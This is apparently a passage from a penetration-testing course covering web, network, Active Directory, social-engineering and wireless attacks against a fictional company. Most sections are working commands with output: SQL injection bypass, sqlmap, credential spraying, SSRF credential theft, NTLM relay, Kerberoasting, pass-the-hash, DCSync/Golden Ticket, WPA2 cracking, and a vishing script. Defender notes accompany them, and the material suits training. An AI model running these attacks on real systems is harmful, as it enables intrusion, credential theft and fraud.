# On target (after catching a netcat shell) $ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@target:/var/www/html$ # CTRL+Z to background the shell [1]+ Stopped nc -lvnp 4444 # On attacker machine $ stty raw -echo; fg [1]+ nc -lvnp 4444 # On target — set terminal size to match attacker terminal www-data@target:/var/www/html$ export TERM=xterm www-data@target:/var/www/html$ stty rows 38 cols 220 # Now: tab completion works, CTRL+C sends signals, vim works
🔴 Attacker Perspective

Meterpreter's in-memory operation and encrypted comms are valuable against basic logging. However, modern EDR (CrowdStrike, SentinelOne, Defender) detects Meterpreter reliably. For red team work, custom C2 frameworks (Cobalt Strike, Havoc, Sliver) with malleable profiles are more evasive.

🔵 Defender Perspective

Meterpreter generates distinctive network traffic patterns (staging requests, heartbeat packets) detectable in PCAP and proxy logs. EDR behavioural detection catches the process injection patterns even without Meterpreter signature. Memory scanning catches in-memory payloads. Network segmentation limits where reverse shells can call back to.

Key Takeaways — Chapter 6
  • Vulnerability classes (memory safety, injection, auth failures, logic errors, configuration) are more durable knowledge than specific CVEs
  • Metasploit organises exploitation into modules (exploit, payload, post, auxiliary) — understanding the architecture makes the tool predictable
  • Reverse shells work through most firewalls; bind shells usually don't — reverse is the default in real engagements
  • Shell stabilisation with python pty + stty raw is essential for productive post-exploitation work in a Linux environment
  • Meterpreter is detectable by modern EDR — valuable for CTF and basic pentests, insufficient for mature red team work
🧪 Practice Lab

TryHackMe: Metasploit Introduction covers the full framework workflow. HackTheBox: Lame is a classic Metasploit introduction. Practice shell stabilisation on any Linux CTF machine.

Chapter 07 · ~20 min · Web Testing

Web Application Penetration Testing

OWASP Top 10, Burp Suite workflow, SQL injection in depth, XSS, IDOR, authentication attacks, SSRF, and business logic testing

Web application testing is the most common engagement type in commercial penetration testing. Nearly every organisation has web-facing applications, and those applications collectively represent an enormous attack surface. The OWASP Top 10 provides the canonical framework for web application vulnerability testing — not as an exhaustive list but as a prioritised coverage guide for the most impactful and prevalent vulnerability classes.

Burp Suite — The Central Web Testing Tool

Burp Suite is the standard platform for manual web application testing. It acts as an intercepting proxy between your browser and the target application, allowing you to view, modify, and replay every HTTP/HTTPS request. Understanding Burp's core tools is a prerequisite for web application testing.

Burp Suite — RepeaterModifying and replaying a login request to test SQL injection
Original request intercepted in Proxy → Sent to Repeater POST /login HTTP/1.1 Host: acme-corp.com Content-Type: application/x-www-form-urlencoded username=admin&password=wrongpassword Response: 401 Unauthorised — "Invalid credentials" --- Modified request (testing SQL injection) --- username=admin'--&password=anything Response: 302 Found → /dashboard Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... → Authenticated as admin without correct password → SQL injection in username field confirmed Injected payload terminates the query: SELECT * FROM users WHERE username='admin'--' AND password='...' Comment (--) causes password check to be ignored

SQL Injection in Depth

SQL injection remains one of the most impactful web vulnerabilities — it can lead to authentication bypass, data theft, and in some configurations, remote code execution. Understanding the different types helps you recognise them during testing and explain them clearly in reports.

sqlmapAutomated SQL injection detection and exploitation
$ sqlmap -u "https://acme-corp.com/product?id=1" --dbs --batch ___ __H__ ___ ___[)]_____ ___ ___ {1.7.9#stable} [*] testing connection to the target URL [*] testing if the target URL content is stable [*] GET parameter 'id' appears to be 'AND boolean-based blind' injectable [*] identified injection point in parameter 'id' Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 1689=1689 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1 AND SLEEP(5) [*] available databases [*] information_schema [*] acme_production [*] acme_hr [*] acme_finance $ sqlmap -u "https://acme-corp.com/product?id=1" -D acme_hr --tables employees payroll credentials personnel_files

Insecure Direct Object Reference (IDOR)

IDOR is the most commonly found high-impact vulnerability in bug bounty programmes — and it is entirely invisible to automated scanners. It occurs when an application uses a predictable identifier to reference a resource without verifying that the requesting user is authorised to access that specific resource.

Burp Suite — IntruderIDOR — iterating user IDs to access other accounts' data
Logged in as user ID 1042. Profile page makes request: GET /api/users/1042/profile HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... Response: 200 OK { "id": 1042, "name": "Test User", "email": "[email protected]" ... } --- Modified request (changed ID to another user) --- GET /api/users/1001/profile HTTP/1.1 Authorization: Bearer eyJhbGciOiJIUzI1NiJ9... ← same token Response: 200 OK { "id": 1001, "name": "Admin User", "email": "[email protected]", "role": "administrator", "2fa_backup_codes": ["123456", "789012"] } → Using Intruder to iterate IDs 1001-1100: → All 100 user profiles returned — no authorisation check on ID

Authentication Testing

Hydra + Burp SuitePassword spraying and credential stuffing against login forms
# Credential stuffing — testing breached credentials $ hydra -C breach_credentials.txt acme-corp.com https-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 10 [443][http-post-form] host: acme-corp.com login: [email protected] password: Summer2022! # Password spray — one password against many accounts (no lockout policy) $ hydra -L users.txt -p 'Acme2024!' acme-corp.com https-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 5 [443][http-post-form] host: acme-corp.com login: [email protected] password: Acme2024! [443][http-post-form] host: acme-corp.com login: [email protected] password: Acme2024!

Server-Side Request Forgery (SSRF)

SSRF tricks the server into making HTTP requests on behalf of the attacker — to internal services that are not directly accessible from the internet. In cloud environments, SSRF is particularly dangerous because the EC2/Azure/GCP metadata service is reachable from any process on the instance.

Burp Suite — SSRF to Cloud MetadataEscalating SSRF to credential theft via AWS IMDSv1
Application has a URL fetch feature: POST /fetch-url Body: {"url": "https://external-site.com/image.jpg"} --- Testing SSRF --- POST /fetch-url {"url": "http://169.254.169.254/latest/meta-data/"} Response: 200 OK ami-id hostname iam/ instance-id placement/ --- Fetching IAM credentials --- {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role"} Response: 200 OK { "AccessKeyId": "ASIAXXX...", "SecretAccessKey": "wJalrXUtn...", "Token": "IQoJb3Jpb2...", "Expiration": "2024-03-16T02:15:00Z" } → Temporary AWS credentials for the EC2 instance role → Can now call AWS APIs with this role's permissions
🔴 Attacker Perspective
  • SSRF to metadata service → IAM credentials → full AWS privilege escalation if role has broad permissions
  • IDOR requires zero technical exploitation — just changing a number
  • SQLi + no WAF + database credentials = direct database access, potential OS command execution via INTO OUTFILE
🔵 Defender Perspective
  • IMDSv2 requires a PUT request for a session token — simple SSRF attacks can't reach it
  • IDOR fixed by authorisation checks that verify the requesting user owns the requested resource
  • Parameterised queries (prepared statements) eliminate SQL injection — not input validation, not WAF
  • WAF as defence-in-depth, not primary SQLi defence
Key Takeaways — Chapter 7
  • Burp Suite Proxy + Repeater + Intruder covers the vast majority of manual web testing workflows — invest time in learning all three tools deeply
  • SQLi authentication bypass works by commenting out the password check — admin'-- is the simplest test case for login forms
  • IDOR is found by substituting your own identifiers with other users' identifiers — entirely manual, entirely invisible to scanners
  • SSRF to cloud metadata service yields temporary IAM credentials — mitigated by requiring IMDSv2 (token-based metadata access)
  • Business logic flaws require understanding how the application is supposed to work before you can identify where it doesn't — no automated tool finds them
🧪 Practice Lab

OWASP WebGoat and DVWA (Damn Vulnerable Web Application) for foundational SQL injection and XSS. PortSwigger Web Security Academy (portswigger.net/web-security) is the definitive free web testing lab — comprehensive labs for every OWASP Top 10 category with detailed explanations.

Chapter 08 · ~16 min · Network Testing

Network Penetration Testing

LLMNR/NBT-NS poisoning with Responder, NTLM relay, network device attacks, pivoting and tunnelling, firewall evasion, and password attacks

Internal network penetration testing starts the moment you're placed on the target network — whether through a physical port, a VPN, or a compromised edge device. The internal network has a different character from the external perimeter: there is more implicit trust, more legacy protocols, more misconfiguration, and usually far less monitoring of east-west traffic. Some of the most impactful findings in enterprise pentests come from the internal network.

LLMNR/NBT-NS Poisoning with Responder

LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are Windows fallback name resolution protocols. When DNS fails to resolve a hostname, Windows broadcasts an LLMNR/NBT-NS query to the local network asking "does anyone know where is?" Responder listens for these broadcasts and responds — sending the querying machine to connect to the attacker's fake service. The querying machine sends its NTLMv2 credentials as part of the connection attempt.

ResponderCapturing NTLMv2 hashes via LLMNR/NBT-NS poisoning
$ sudo responder -I eth0 -rdw __ .----.-----.-----.-----.-----.-----.--| |.-----.---. | _| -__|__ --| _ | _ | | _ || -__| | |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR & MDNS Responder [+] Listening for events... [LLMNR] Poisoned answer sent to 10.10.10.50 for name FILESERVER01 [SMB] NTLMv2-SSP Client : 10.10.10.50 [SMB] NTLMv2-SSP Username : ACME\john.smith [SMB] NTLMv2-SSP Hash : john.smith::ACME:3d4f2bf07dc1be38:F3E9B89... # Crack the hash offline $ hashcat -m 5600 john.smith.hash /usr/share/wordlists/rockyou.txt john.smith::ACME:... : Summer2023!

NTLM Relay Attack

Rather than cracking captured NTLMv2 hashes (which requires the password to be in a wordlist), relay attacks use the captured authentication in real time — forwarding it to another system that accepts NTLM authentication. The attacker authenticates to a target as the victim without ever knowing the password.

ntlmrelayx (Impacket)Relaying NTLM authentication to compromise another host
# First: disable SMB and HTTP in Responder (so it only captures, not answers) $ sudo responder -I eth0 -rdw --no-http-server --no-smb-server # Simultaneously: relay captured auth to target (must not have SMB signing) $ sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -i [*] Protocol Client SMB loaded.. [*] Running in relay mode to smb:// hosts [*] Setting up SMB Server [*] Incoming connection (10.10.10.50,52341) [*] AUTHENTICATE_MESSAGE (ACME\john.smith,LAPTOP-JSMITH) [*] Relaying to smb://10.10.10.5... [*] Authenticating against smb://10.10.10.5 as ACME\john.smith SUCCEED [*] Opening interactive SMB client shell on 127.0.0.1:11000 # Connect to the shell $ nc 127.0.0.1 11000 Type help for list of commands # shares ADMIN$ C$ Finance HR IPC$ NETLOGON SYSVOL # Access to target system as john.smith — without knowing his password

Pivoting and Tunnelling

Pivoting uses a compromised host as a jump point to reach network segments that are otherwise inaccessible from the attacker's position — the compromised host has access that the attacker's machine doesn't.

ChiselCreating a SOCKS5 proxy through a compromised host
# Scenario: Compromised web server (10.10.10.5) can reach internal 172.16.0.0/24 # Attacker (10.10.14.5) cannot directly reach 172.16.0.0/24 # On attacker machine — start Chisel server $ ./chisel server -p 8080 --reverse 2024/03/15 chisel server: Listening on http://0.0.0.0:8080 # On compromised host — start Chisel client connecting back to attacker www-data@webserver$ ./chisel client 10.10.14.5:8080 R:socks 2024/03/15 chisel client: Connected (Latency 4ms) # Back on attacker machine — SOCKS5 proxy now on 127.0.0.1:1080 # Configure proxychains to use it: # /etc/proxychains.conf → socks5 127.0.0.1 1080 $ proxychains nmap -sT -p 22,80,445,3389 172.16.0.10 172.16.0.10 — 3389/tcp OPEN (RDP — internal Windows host reached!)
🔴 Attacker Perspective
  • Responder + no lockout policy + weak passwords = domain credentials in 30 minutes on most enterprise networks
  • NTLM relay works against any host without SMB signing — check with crackmapexec smb targets.txt --gen-relay-list
  • Chisel runs over HTTP/HTTPS — bypasses most firewall egress rules
🔵 Defender Perspective
  • Disable LLMNR via GPO: Computer Configuration → Administrative Templates → Network → DNS Client → Turn off multicast name resolution
  • Enable SMB signing on all domain hosts — prevents relay attacks regardless of captured hashes
  • DNS logs show LLMNR poisoning attempts as unexpected name resolutions from unusual sources
Key Takeaways — Chapter 8
  • Responder captures NTLMv2 hashes passively — within minutes on most internal networks with no active exploitation
  • NTLM relay bypasses the need to crack hashes — authentication is forwarded live to another host
  • SMB signing (enabled on all hosts) prevents NTLM relay — a single GPO setting eliminates the entire attack class
  • Chisel creates SOCKS5 tunnels over HTTP/HTTPS — bypasses firewall egress rules that would block direct pivoting
  • ProxyChains routes tool traffic through a SOCKS proxy — enables scanning and exploitation of pivoted-to networks
🧪 Practice Lab

TryHackMe: Breaching AD covers LLMNR poisoning comprehensively. HackTheBox Pro Labs "Offshore" includes full internal network pivoting scenarios. PentesterLab: Pivoting module for tunnelling practice.

Chapter 09 · ~19 min · Active Directory

Active Directory Attacks

BloodHound enumeration, Kerberoasting, AS-REP Roasting, Pass-the-Hash, lateral movement, ACL abuse, DCSync, and Golden Tickets

Active Directory is the identity and access backbone of the vast majority of enterprise Windows environments. Compromising AD — or specific privileged accounts within it — means compromising everything it governs. This makes AD the primary objective in most internal penetration tests, and AD attacks are the techniques that matter most for demonstrating realistic enterprise impact.

BloodHound — Attack Path Discovery

BloodHound collects AD relationship data (group memberships, ACLs, trusts, session information) using SharpHound, then visualises attack paths — chains of AD relationships that a low-privilege attacker could follow to reach Domain Admin. It turns what would be hours of manual enumeration into an interactive graph that immediately reveals the shortest path to compromise.

BloodHound — Attack Path QueryFinding the shortest path from a compromised user to Domain Admin
# Collect AD data with SharpHound C:\> .\SharpHound.exe -c All --outputdirectory C:\loot [*] Status: 94 objects finished (+94) -- Using 44 MB of memory [*] Compressing output and creating final archives [*] Output: 20240315_BloodHound.zip # Load in BloodHound GUI → Analysis → Shortest Path to Domain Admin Path found (4 hops): [email protected] → MemberOf → [email protected] → AdminTo → WORKSTATION-05.ACME.LOCAL → HasSession → [email protected] (HR Manager — logged in) → MemberOf → DOMAIN [email protected] Chain: john.smith is in Helpdesk → Helpdesk has admin rights on WS-05 → Dump credentials from WS-05 → Get sarah.jones hash (she's logged in) → sarah.jones is Domain Admin

Kerberoasting

Service accounts in Active Directory that have a Service Principal Name (SPN) registered can have their Kerberos service tickets requested by any authenticated domain user. These tickets are encrypted with the service account's password hash. An attacker requests the ticket and takes it offline for cracking — if the service account has a weak password, it yields domain credentials.

GetUserSPNs.py (Impacket) + HashcatKerberoasting — requesting and cracking service tickets
$ GetUserSPNs.py ACME.LOCAL/john.smith:'Summer2023!' -dc-ip 10.10.10.1 -request ServicePrincipalName Name MemberOf ------------------------------------------- ----------- --------------------------------- MSSQLSvc/SQL01.acme.local:1433 svc-sql CN=DBA Team,DC=acme,DC=local HTTP/jira.acme.local svc-jira CN=Server Admins,DC=acme,DC=local backup/backup01.acme.local svc-backup CN=Domain Admins,DC=acme,DC=local $krb5tgs$23$*svc-backup$ACME.LOCAL$backup/backup01.acme.local*$a3f1... $ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule $krb5tgs$23$*svc-backup$...:Backup2023 Cracked: svc-backup : Backup2023 svc-backup is a member of Domain Admins — full domain compromise

Pass-the-Hash

Windows NTLM authentication allows authentication using a password hash rather than the plaintext password — by design, for pass-through authentication scenarios. An attacker who obtains an NTLM hash (via Mimikatz, Responder, or SAM database extraction) can authenticate as that user to any system that accepts NTLM authentication, without ever cracking the hash.

CrackMapExec (NetExec)Pass-the-Hash — authenticating across the network with a stolen hash
# Dumped local admin hash from a workstation with Mimikatz # Administrator : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Test the hash across all hosts in the subnet $ crackmapexec smb 10.10.10.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 SMB 10.10.10.1 445 DC01 [*] Windows Server 2019 x64 SMB 10.10.10.2 445 FILE01 [*] Windows Server 2016 x64 SMB 10.10.10.50 445 LAPTOP-JSMITH [+] ACME\Administrator:31d6cfe... (Pwn3d!) SMB 10.10.10.51 445 LAPTOP-SJONES [+] ACME\Administrator:31d6cfe... (Pwn3d!) SMB 10.10.10.52 445 LAPTOP-MWEBB [+] ACME\Administrator:31d6cfe... (Pwn3d!) SMB 10.10.10.100 445 DEVSERVER [+] ACME\Administrator:31d6cfe... (Pwn3d!) # Local admin hash reuse across 4 hosts — common in enterprises using # the same base image without LAPS (Local Admin Password Solution)

DCSync — Extracting All Domain Hashes

DCSync abuses the Directory Replication Service (DRS) protocol — which domain controllers use to replicate with each other — to pull all account hashes from Active Directory without needing to log into a domain controller. An account with the DS-Replication-Get-Changes-All right (held by Domain Admins and any account explicitly granted it) can perform this.

Mimikatz — lsadump::dcsyncExtracting the KRBTGT and Administrator hashes from AD
mimikatz # lsadump::dcsync /domain:acme.local /user:krbtgt [DC] 'acme.local' will be the domain [DC] 'DC01.acme.local' will be the DC server [DC] 'krbtgt' will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt Account Type : 30000000 ( USER_OBJECT ) Hash NTLM: 5508500ea4a773c5f4d9d3be154b6a4e ntlm-0: 5508500ea4a773c5f4d9d3be154b6a4e → KRBTGT hash obtained — Golden Ticket now possible → Domain SID: S-1-5-21-1234567890-1234567890-1234567890 mimikatz # kerberos::golden /user:administrator /domain:acme.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:5508500ea4a773c5f4d9d3be154b6a4e /ptt Golden ticket for 'administrator @ acme.local' successfully submitted for current session → Valid Kerberos ticket for any service in the domain — indefinite access
🔴 Attacker Perspective
  • BloodHound turns complex AD analysis into a visual graph — find the path to DA in seconds rather than hours of LDAP queries
  • Kerberoasting is entirely passive, logs as legitimate Kerberos activity, and the ticket cracking happens offline with no further domain interaction
  • Golden Ticket survives password changes — the KRBTGT hash must be reset twice (every 24 hours due to Kerberos ticket lifetime) to invalidate it
🔵 Defender Perspective
  • Service accounts should use Group Managed Service Accounts (gMSA) — automatically rotated, 120-character random passwords make Kerberoasting cracking computationally infeasible
  • DCSync is detected via Event ID 4662 with specific GUIDs — requires DS Access auditing on DCs
  • LAPS (Local Admin Password Solution) randomises local admin passwords per machine — eliminates hash reuse across hosts
  • Tiered AD model prevents non-DA accounts from having sessions on sensitive Tier-0 assets
Key Takeaways — Chapter 9
  • BloodHound maps AD attack paths visually — always run it first on an internal engagement to understand the landscape before deciding where to invest effort
  • Kerberoasting requests are indistinguishable from legitimate Kerberos traffic — detection requires baseline analysis of service ticket requests
  • Pass-the-Hash without LAPS turns one compromised workstation into lateral movement across the entire fleet sharing that local admin password
  • DCSync requires replication rights and generates Event ID 4662 — detectable with proper DC auditing and SIEM alerting
  • Golden Ticket provides indefinite access — KRBTGT must be reset twice after any suspected compromise
🧪 Practice Lab

TryHackMe: Attacktive Directory covers Kerberoasting and AS-REP Roasting end-to-end. HackTheBox Pro Labs: RastaLabs and Offshore for full AD engagement simulation. CRTP (Certified Red Team Professional) labs are purpose-built for AD attack chains.

Chapter 10 · ~15 min · Social Engineering

Social Engineering

Cognitive biases, phishing campaigns with GoPhish, vishing, physical testing, USB drops, pretext development, and ethical considerations

Every technical control in a security programme can be circumvented if an attacker can convince a person with legitimate access to take an action on their behalf. Social engineering is the discipline of that manipulation — exploiting human psychology rather than software vulnerabilities. It is consistently one of the most effective attack vectors in real-world compromises and the hardest to defend against through purely technical means.

Why Social Engineering Works — Cognitive Biases

Effective social engineering exploits cognitive shortcuts that are rational under normal conditions but become vulnerabilities when deliberately triggered. Understanding these is what separates a social engineer from someone who just lies:

  • Authority — people comply with requests from perceived authorities (executives, IT support, auditors, law enforcement) without verifying identity. "This is James from IT security, I need your credentials to update your account" works because the authority framing bypasses the verification instinct.
  • Urgency — time pressure degrades careful decision-making. "Your account will be locked in 15 minutes unless you verify now" creates urgency that prevents the target from pausing to question the request.
  • Social proof — people follow what others are doing. "The rest of your team has already completed this security verification" implies that compliance is the norm and non-compliance is unusual.
  • Reciprocity — people feel obligated to return favours. An attacker who provides something helpful first (resolves a minor issue, shares useful information) creates a felt obligation that is then exploited.
  • Liking — people comply more readily with requests from people they like or find similar to themselves. Building rapport through shared interests, mutual acquaintances, or simply being friendly significantly increases compliance rates.
  • Scarcity — perceived scarcity increases value and urgency. "This security update is only available today" triggers action that "update your software when you have time" doesn't.

Phishing Campaign Management with GoPhish

GoPhish is the standard open-source phishing simulation framework. It manages the operational elements of a phishing campaign: sending phishing emails to a target list, hosting credential-capturing landing pages, and tracking who clicked, who submitted credentials, and who reported the email.

GoPhishPhishing campaign results dashboard — credential harvest simulation
Campaign: "IT Security Verification — Q1 2024" Pretext: Mandatory MFA re-enrollment (impersonating IT helpdesk) Targets: 247 employees (finance, HR, engineering departments) Duration: 72 hours ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Emails Sent: 247 (100%) Emails Opened: 164 (66.4%) Links Clicked: 89 (36.0%) Credentials Entered: 52 (21.1%) Emails Reported: 14 (5.7%) ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ Highest-risk department: Finance (42% credential submission rate) Lowest-risk department: Engineering (8% credential submission rate) Sample submitted credentials (for report — not retained post-engagement): [email protected] : [credentials captured] (CFO) [email protected] : [credentials captured] (IT Administrator) [email protected] : [credentials captured] Notable: 14 employees correctly reported the phishing email to IT security. Time-to-first-report: 4 minutes after send (engineering team)

A 21% credential submission rate is sobering but realistic for a well-constructed pretext against an untrained population. The CFO and IT administrator credentials captured represent immediate critical-severity findings — those accounts, if compromised in a real attack, would provide either financial fraud capability or full technical access to the environment.

Vishing — Voice Phishing

Vishing uses phone calls as the attack vector. The attacker impersonates a trusted entity — IT support, the CEO's assistant, a vendor, an auditor — and manipulates the target into taking an action (revealing credentials, installing software, transferring funds, granting access).

Vishing — Sample Pretext ScriptIT support impersonation targeting a finance employee
Caller: [Internal company number — spoofed via VoIP] Attacker: "Hi, is this Sarah? Hi Sarah, this is Mike from IT security. We're seeing some unusual login activity on your account — looks like someone may have tried to access your email from an IP in Eastern Europe about 20 minutes ago." Target: "Oh no, really? I didn't do anything unusual." Attacker: "That's what I suspected — looks like an unauthorised attempt. We're locking down affected accounts right now. I just need to verify it's really you before I can whitelist your usual locations. Can you tell me your current password so I can confirm it matches what we have on file?" Psychological levers used: ✓ Authority (IT security department) ✓ Urgency (active attack, account at risk) ✓ Social proof (implied other accounts being handled) ✓ Fear (Eastern Europe login — evokes real threat awareness) Note: Real IT departments never ask for passwords. This is the detection signal employees should be trained to recognise.

Physical Security Testing — Tailgating and USB Drops

Physical penetration testing assesses whether an attacker could gain physical access to secure areas — server rooms, executive offices, network closets — through social engineering at physical entry points.

Tailgating — following an authorised person through a secure door without using your own credentials. Effective pretexts: carrying heavy boxes (people hold doors without thinking), wearing high-visibility vests or uniforms associated with maintenance or delivery, timing entry during busy periods when badge checking is lax.

USB drop attacks — placing USB drives in locations where target employees will find and plug them in. The drives contain payloads that execute automatically when connected. A well-documented experiment found that 48% of drives dropped in a university car park were plugged into computers within 24 hours.

Ethics of Social Engineering Tests

Social engineering findings must be reported without identifying or shaming individual employees. The finding is an organisational security failure — insufficient training, culture, or detection capability — not a personal failing of the employee who submitted credentials. Naming specific employees in reports (beyond necessary operational detail) is poor practice that creates hostility toward the security programme.

USB drops require particularly careful scoping — the payload must be genuinely safe, the devices must be recovered, and employees who plug in the device should be directed to training rather than disciplinary action.

Key Takeaways — Chapter 10
  • Social engineering exploits rational cognitive shortcuts — authority, urgency, social proof, reciprocity, liking, scarcity — that become vulnerabilities when deliberately triggered
  • GoPhish manages phishing campaigns end-to-end — tracking opens, clicks, submissions, and reports; finance teams typically have higher submission rates than technical teams
  • Vishing combines spoofed caller ID with carefully scripted pretexts — IT support impersonation works because employees are conditioned to comply with IT requests
  • Physical testing findings are organisational failures, not individual ones — reports should never humiliate specific employees
  • The detection metric matters as much as the compromise metric — a 6% report rate alongside a 21% credential submission rate shows both the vulnerability and the detection gap
🧪 Practice Lab

Set up GoPhish locally against a test email account to understand the campaign mechanics. TryHackMe: Phishing Emails series covers pretext analysis and detection. For vishing practice, Antisyphon Training offers live social engineering courses with real call scenarios.

Chapter 11 · ~14 min · Wireless

Wireless Penetration Testing

WPA2-PSK cracking, PMKID attack, WPA2-Enterprise and EAP testing, evil twin with hostapd-wpe, Bluetooth, and wireless assessment methodology

Wireless penetration testing assesses whether an attacker positioned in physical proximity to the target — in the car park, a neighbouring office, or public space — can gain access to the wireless network and from there to internal systems. The realistic attacker model matters here: a nation-state may use directional antennas from hundreds of metres; a casual attacker needs to be within typical Wi-Fi range (30–100 metres).

WPA2-PSK — 4-Way Handshake Capture and Cracking

The most common wireless attack against WPA2-Personal networks captures the 4-way handshake exchanged during client authentication and cracks it offline against a wordlist. The network password is never transmitted — but the handshake contains enough information to verify password guesses without further network interaction.

Aircrack-ng SuiteWPA2-PSK handshake capture and offline cracking
# Put wireless card into monitor mode $ sudo airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 ath9k Atheros AR9271 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon # Scan for target network $ sudo airodump-ng wlan0mon BSSID PWR Beacons #Data CH ENC ESSID AA:BB:CC:DD:EE:FF -52 143 42 6 WPA2 AcmeCorp-Corp 11:22:33:44:55:66 -71 89 12 11 WPA2 AcmeCorp-Guest # Capture on target channel, save to file $ sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon # Send deauth to force client reconnection (triggers handshake) $ sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon Sending 5 directed DeAuth. STMAC: [FF:EE:DD:CC:BB:AA] WPA handshake: AA:BB:CC:DD:EE:FF # Crack the handshake offline $ hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt -r best64.rule Session..........: hashcat Status...........: Running Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL) Recovered........: 1/1 (100.00%) Digests AcmeCorp-Corp:Autumn2023!

PMKID Attack — No Client Required

The PMKID attack (discovered 2018) extracts a PMKID value from a single EAPOL frame sent by the access point, without needing to capture a client handshake. This makes it viable even when no clients are currently connected to the network.

hcxdumptool + hashcatPMKID attack — cracking WPA2 without a client handshake
# Capture PMKID from AP directly (no deauth, no client needed) $ sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=3 [23:45:12] PMKID captured from AA:BB:CC:DD:EE:FF (AcmeCorp-Corp) # Convert to hashcat format $ hcxpcapngtool -o hash.22000 pmkid.pcapng 1 PMKID(s) written to hash.22000 # Crack with hashcat $ hashcat -m 22000 hash.22000 wordlist.txt AcmeCorp-Corp:Autumn2023! Advantage over 4-way handshake attack: • No deauth packets sent (stealthier) • No client needs to be connected • Works even during off-hours

WPA2-Enterprise — EAP Credential Capture with hostapd-wpe

WPA2-Enterprise uses 802.1X authentication — each user authenticates with their own credentials rather than a shared key. This is more secure than PSK but creates a different attack surface: the EAP exchange between client and RADIUS server can be targeted with an evil twin access point that captures credential material.

hostapd-wpeEvil twin AP capturing EAP-PEAP credentials from enterprise clients
# hostapd-wpe acts as a fake RADIUS server accepting any credentials # Clients that don't validate the RADIUS server certificate will connect $ sudo hostapd-wpe hostapd-wpe.conf Configuration file: hostapd-wpe.conf SSID: AcmeCorp-Corp (matching legitimate SSID) Using interface wlan0 with hwaddr AA:BB:CC:00:11:22 wlan0: STA FF:EE:DD:CC:BB:AA IEEE 802.11: authenticated wlan0: STA FF:EE:DD:CC:BB:AA IEEE 802.1X: Identity = ACME\john.smith wlan0: STA FF:EE:DD:CC:BB:AA IEEE 802.1X: EAP-PEAP Phase 2 received mschapv2: Fri Mar 15 14:22:31 2024 username: john.smith challenge: 4a6f686e536d69746874657374313233 response: aaaaaabbbbbbccccccddddddeeeeee # Crack the MSCHAPv2 response offline with hashcat $ hashcat -m 5500 mschapv2.hash rockyou.txt john.smith::ACME::... : Summer2023! Root cause: client device not configured to validate RADIUS server certificate. Fix: deploy trusted CA certificate to all devices; configure RADIUS server certificate validation in supplicant settings via MDM/GPO.
🔴 Attacker Perspective
  • Wordlist quality determines success — rockyou.txt + hashcat rules covers most human-chosen passwords
  • PMKID attack is fully passive and clientless — perfect for off-hours when no users are connected
  • EAP capture only works when clients don't validate the RADIUS cert — very common in BYOD environments
🔵 Defender Perspective
  • WPA2-PSK minimum 15-character random passphrase makes cracking computationally infeasible
  • WPA3-SAE eliminates PMKID and handshake attacks — upgrade access points where possible
  • Validate RADIUS server certificate on all 802.1X clients via MDM/GPO — eliminates EAP capture attacks
  • Wireless IDS detects deauth storms and rogue AP with matching SSID
Key Takeaways — Chapter 11
  • 4-way handshake capture requires a deauth packet to force a client reconnection; PMKID attack requires no client at all — making it stealthier and more reliable
  • WPA2-PSK cracking is entirely offline after capture — the network sees nothing after the handshake is obtained
  • EAP credential capture with hostapd-wpe only works when clients don't validate the RADIUS server certificate — a misconfiguration corrected by MDM/GPO policy
  • WPA3 eliminates the PMKID and 4-way handshake offline cracking attacks entirely — it is the long-term defence
🧪 Practice Lab

TryHackMe: Wi-Fi Hacking 101. For hands-on practice, a dedicated wireless lab requires two wireless adapters (one for monitor mode, one for internet) and a practice access point — use your own home network with a dedicated test SSID and explicit self-authorisation.

Chapter 12 · ~18 min · Post-Exploitation

Post-Exploitation and Persistence

Situational awareness, Windows and Linux privilege escalation, persistence mechanisms, Mimikatz credential harvesting, data exfiltration, and living-off-the-land

Post-exploitation is what happens after the initial shell. Having a shell on a system is not the objective — it is the beginning. The objective is to demonstrate the real-world impact an attacker could achieve: access to sensitive data, privilege escalation to administrator or domain admin, lateral movement to additional systems, or persistent access that survives reboots and password changes.

Situational Awareness — First Steps After a Shell

The first minutes after gaining access are critical. Before doing anything else, understand where you are, who you are, and what you can reach.

Post-Exploitation EnumerationFirst commands after gaining a shell — Linux and Windows
